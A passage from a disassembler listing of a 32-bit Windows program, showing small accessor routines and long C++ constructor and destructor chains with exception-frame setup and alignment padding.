		retn
sub_416780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167A0	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4167C0	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4167C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4167F0	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_4167F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416810	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416840	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416840	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416880	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_416880	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168A0	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168EB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168EB:				; CODE XREF: sub_4168D0+11j
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447118B9h
		dd 0B458E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A2068h, 0FF5CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447118B9h, 0B21AE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A40:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_43A081
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CB0	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416CC7
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416CC7:				; CODE XREF: sub_416CB0+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416CB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CE0	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416CF8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: sub_416CE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416CE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416D27
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D27:				; CODE XREF: sub_416D10+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D40:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416D58
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D58:				; CODE XREF: ___:00416D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D70	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416D70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A261
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_417060	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_417060	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4170D0	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4170D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175F0	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175F0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417690	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417690
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417690	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417820	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417820
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417820	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178E0	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179A0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A10	proc near		; CODE XREF: sub_4017D0j

